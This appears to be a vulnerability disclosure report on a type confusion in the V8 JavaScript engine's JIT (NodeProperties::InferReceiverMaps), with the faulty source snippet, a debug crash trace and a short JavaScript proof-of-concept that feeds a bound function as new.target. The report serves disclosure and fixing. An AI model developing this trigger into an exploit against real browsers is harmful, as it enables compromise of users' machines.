Chrome: V8: JIT: Type confusion in NodeProperties::InferReceiverMaps 




<a href="https://cs.chromium.org/chromium/src/v8/src/compiler/node-properties.cc?rcl=df84e87191022bf6914f9570069908f10b303245&l=416" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/compiler/node-properties.cc?rcl=df84e87191022bf6914f9570069908f10b303245&l=416</a>

Here's a snippet of NodeProperties::InferReceiverMaps.
      case IrOpcode::kJSCreate: {
        if (IsSame(receiver, effect)) {
          HeapObjectMatcher mtarget(GetValueInput(effect, 0));
          HeapObjectMatcher mnewtarget(GetValueInput(effect, 1));
          if (mtarget.HasValue() && mnewtarget.HasValue()) {
            Handle<JSFunction> original_constructor =
                Handle<JSFunction>::cast(mnewtarget.Value());

            if (original_constructor->has_initial_map()) {
              Handle<Map> initial_map(original_constructor->initial_map());
              if (initial_map->constructor_or_backpointer() ==
                  *mtarget.Value()) {
                *maps_return = ZoneHandleSet<Map>(initial_map);
                return result;
              }
            }
          }
          // We reached the allocation of the {receiver}.
          return kNoReceiverMaps;
        }
        break;
      }

"mnewtarget" is expected to be a constructor which also can be of type JSBoundFunction. But "mnewtarget" is always cast to JSFunction leading to type confusion.

The PoC seems not to crash in release mode.

Debug mode log:
#
# Fatal error in ../../src/objects-inl.h, line 566
# Check failed: !v8::internal::FLAG_enable_slow_asserts || (object->IsJSFunction()).
#

==== C stack trace ===============================

    /v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f4623e1043e]
    /v8/out.gn/x64.debug/./libv8_libplatform.so(+0x30907) [0x7f4623db3907]
    /v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1bd) [0x7f4623df876d]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::JSFunction::cast(v8::internal::Object*)+0x64) [0x7f46226584a4]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::Handle<v8::internal::JSFunction> const v8::internal::Handle<v8::internal::JSFunction>::cast<v8::internal::JSFunction>(v8::internal::Handle<v8::internal::JSFunction>)+0x23) [0x7f4622651173]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::NodeProperties::InferReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::ZoneHandleSet<v8::internal::Map>*)+0x435) [0x7f4622c24a75]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::InferReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, std::__1::vector<v8::internal::Handle<v8::internal::Map>, std::__1::allocator<v8::internal::Handle<v8::internal::Map> > >*)+0x50) [0x7f4622b8b820]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ExtractReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::FeedbackNexus const&, std::__1::vector<v8::internal::Handle<v8::internal::Map>, std::__1::allocator<v8::internal::Handle<v8::internal::Map> > >*)+0x202) [0x7f4622b82632]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ReduceNamedAccessFromNexus(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::FeedbackNexus const&, v8::internal::Handle<v8::internal::Name>, v8::internal::compiler::AccessMode)+0x2e6) [0x7f4622b822b6]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ReduceJSStoreNamed(v8::internal::compiler::Node*)+0x298) [0x7f4622b7c2c8]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::Reduce(v8::internal::compiler::Node*)+0x11f) [0x7f4622b78f7f]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::Reduce(v8::internal::compiler::Node*)+0x285) [0x7f4622ad8c55]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceTop()+0x44f) [0x7f4622ad874f]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceNode(v8::internal::compiler::Node*)+0x1bc) [0x7f4622ad7cfc]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceGraph()+0x2d) [0x7f4622ad89bd]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::InliningPhase::Run(v8::internal::compiler::PipelineData*, v8::internal::Zone*)+0x58a) [0x7f4622c46e2a]

PoC:
// Flags: --allow-natives-syntax --enable_slow_asserts

class Base {
    constructor() {
        this.x = 1;
    }
}

class Derived extends Base {
    constructor() {
        // JSCreate emitted I guess.
        super();
    }
}

let bound = Object.bind();
Reflect.construct(Derived, [], bound);  // Feed a bound function as new.target to the profiler, so HeapObjectMatcher can find it.

%OptimizeFunctionOnNextCall(Derived);

new Derived();




This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt